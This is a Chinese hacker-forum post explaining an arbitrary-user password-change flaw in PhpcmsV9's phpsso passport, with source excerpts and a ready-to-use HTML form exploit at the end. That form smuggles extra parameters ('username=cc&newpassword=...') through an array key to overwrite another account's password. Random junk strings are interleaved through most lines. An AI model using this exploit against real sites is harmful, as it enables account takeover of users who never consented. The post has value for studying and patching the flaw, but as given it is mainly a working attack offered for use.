找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1958|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
) W! S- q" `0 a- _* _; s3 A5 ?) \8 a4 Z0 ?9 z) w# i. W

* A; F7 U6 U1 f9 lparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);/ ]2 K7 r/ g% O. ~+ e2 }# a

" c! t3 Q4 J9 |& l在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
% I! t  y, i! a3 |9 v# `0 n$ t; p( l  x" Z0 f
我把它留给了你们。; ?$ ]4 s1 R; ^; ]- H! O
不知道你们发现了它没有。
" ~: Q/ j1 E$ p: v% {" V
0 Y5 B, u( n9 N0 `5 c% v我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
1 e: ?" r: S: j) t5 H
: ]( N* Z" Q+ O3 ^. z  H所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
& }, M; r, Q  a: o3 L8 D: D
8 B' Y1 a" @3 Z/ D# q* f$ g, o也就是' V" }) I6 i& K5 b4 {, j
/ _, W; |# u  U# o: `+ R0 }( A
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
- k* q! F6 w: u/ N+ T; h$ i6 L
/ `% s7 }- k; m要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
1 [2 Y) i+ b$ e% V% J( F; W6 V$ R4 ?' Q$ `
2 C2 {3 A2 r: V. D- U- q  @
其实我们有这样的机会,看看代码,如下:* X. X& d3 V8 k4 p1 ^# o
, b- X* ~: Q0 C6 E/ W
/ s4 T4 X5 L3 k2 @% m6 m
public function auth_data($data) {( V& P- U+ ~7 t; m; w# U% a
                $s = $sep = '';  ?* [( b$ }% D/ k( n
                foreach($data as $k => $v) {
* O1 G  f( C. k5 L6 ~9 n                        if(is_array($v)) {9 @) r( I- U0 ]% q/ b8 C; Y  d! d
                                $s2 = $sep2 = '';
1 m# h! ?2 W1 H                                foreach($v as $k2 => $v2) {# l( G+ ?6 p! N' f
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
' i- `" L$ u4 ]! \% c                                        $sep2 = '&';# K' e+ q6 I' F4 Y, A7 U! r
                                }+ c, `: f5 t# T2 U, y  @+ Y
                                $s .= $sep.$s2;
2 l8 J+ S5 s( g# \                        } else {5 p  f5 I: W9 n4 a( n  l( |
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);* O5 ^6 y% t7 X, P: O0 n
                        }- x! x8 n4 \' J" _, q! {' \
                        $sep = '&';+ J( G( i" m( _+ q  M
                }' W; {, p7 t2 ]- ~. V

. m) L  J/ G" y4 L- B! Q- G# {                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));! J- C# ~* n. {: f, e: C
                return $auth_s;& n/ z8 U/ ^% J( F( e8 D5 e( M9 ^/ t
        }
; R) E1 y* m/ M7 l9 p
) t  C( i/ H5 g+ w可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
' ?# ?' n6 W4 q1 K/ O. ?
# [; {# Q, a4 p$ t4 }- V# g举个例子2 a7 t# P6 A# X" m: c; c
4 {  F* T4 E3 D$ d# [
$a[aaa=a&bbb] = 'a';
4 I' u7 w! q2 H
6 c9 A% p9 S, T9 Z会变成aaa=a&bbb=a' Y$ F5 u6 `" ?* }# q- j, L7 t
- F0 ^1 Q4 ]5 ^( u, n) G
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
+ T7 r, Z4 E: H% d, _
! G3 |- q: I; V4 ~' p这个时候,我们可以再去看一个函数。& z; Z  B" q# Q5 e

& g( k* a; c3 C8 Q9 @! f就在这个文件内:
& S  i% @# h8 `5 \8 E$ p0 U8 z' K+ h; h1 q

, R' U2 f" g  D6 v) {9 upublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
$ G1 l+ q' v2 \* u& [                if($email && !$this->_is_email($email)) {
- D! o. y( Q! O5 C' @                        return -4;5 Z) D" a8 L0 }) x) P4 W! g$ Y3 h
                }
: z+ q3 V, p/ M/ G5 Y4 f                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));$ j9 @! A) a* Q
        }
4 o* ^0 W9 r* o" v- A( o0 a' J! v# T7 i" K: Y
这是向通行证发了这样一个请求。
- L* P, m6 p: F0 L: V. K& \0 _+ C
2 T% X+ O) Q% o/ R* e我们再跟到通信证代码里去看看,就会有所发现。3 H) Y9 G  x% s: `

" u7 B/ S, }3 f4 l# ~) ]' ~& e7 x1 l# s
public function edit() {3 m' ~, b2 L9 r5 E+ K
//能省就省,太长了不是吗?, n1 N" q, ]1 _  v- d" S5 J
  f9 \" x7 L, @$ h3 [3 [$ o
if($this->username) {( _3 u* z2 m% c( |- B: R6 Q! M
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。+ b& ?( z: s! [7 [% v' s
                                $res = $this->db->update($data, array('username'=>$this->username));
1 {2 G/ {& E% `                        } else {
9 [* M3 v7 q2 u                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);$ v) v+ ?$ S3 p
                                $res = $this->db->update($data, array('uid'=>$this->uid));8 y, e( J5 f( e1 v& Y6 r
                        }
. Z3 v; x5 \; ^* p9 {5 c1 f. c
+ x) \: d! O! v" V% j9 e好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:+ B* X9 J* f* |  P% t8 M  c$ @
3 {) B* i' P8 v' q$ a; a9 f  F8 i
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
4 i6 J/ a% x' g4 s0 K, S
3 @/ v, x* q2 F5 ^$ o8 s' G很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。/ F7 O7 u9 p# h4 R
6 X$ z. c6 s3 S  R0 t* t
我当然找到了:; m0 ~* f8 t5 ]' ]0 B  b
phpcms9/phpcms/modules/member/index.php
% y% K3 c: r, s0 E, ~' K% D+ R) r# M+ j& _
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
# }! p$ C3 v; `- r( ~9 w8 M! h, P/ Z; Z/ Z& c0 r
然后就没有然后了。
+ S# Q4 D0 d( ^' k4 g& o3 p. F
- _% B9 Q1 G+ ^/ @" a& z& Q<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">- _, v" }" H  e) @. N
                                <table width="100%" cellspacing="0" class="table_form">' _( c+ }" E4 O& \+ p' i
                                        <tr>
5 R. ~" j# u$ h1 e% H                                                <th width="80">邮箱:</th>        
2 _+ ]% G  n" ^% r2 o( o                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>! f! H% ~* V  }$ S4 }8 k% N
                                        </tr>6 t8 r$ V/ L5 q: k4 U" ^
                                        <tr>
& [7 I6 Q& z. x* T) x                                                <th width="80">原密码:</th>        
3 V3 l( M2 p. |! Q- _+ _                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
! `, N. L) @! B3 }! I8 [7 v                                        </tr>
9 V6 Z  e+ G& O, l" O+ U2 }1 P                                        <tr>
% ^+ ?- P( b2 T; k& S+ f                                                <th>新密码:</th>
. Y( A2 Y6 L+ r0 z                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
/ Q' n! @9 W; j                                        </tr>6 h4 q" H( ~& F. ]3 S8 C, H! m( ~
                                        <th></th>: C9 G1 ?3 g; Z0 v, q
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
3 X4 M- Z. C  c& M                                        </tr>
8 `1 t/ h0 q& L/ h                                </table>
: e! B- q$ `' l" C( B7 S) ^8 h! g, `3 ^2 y5 e, O' \: v
                                - j9 a  V1 \+ s8 ^
                        </form>$ p! R9 }: r1 w; H7 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表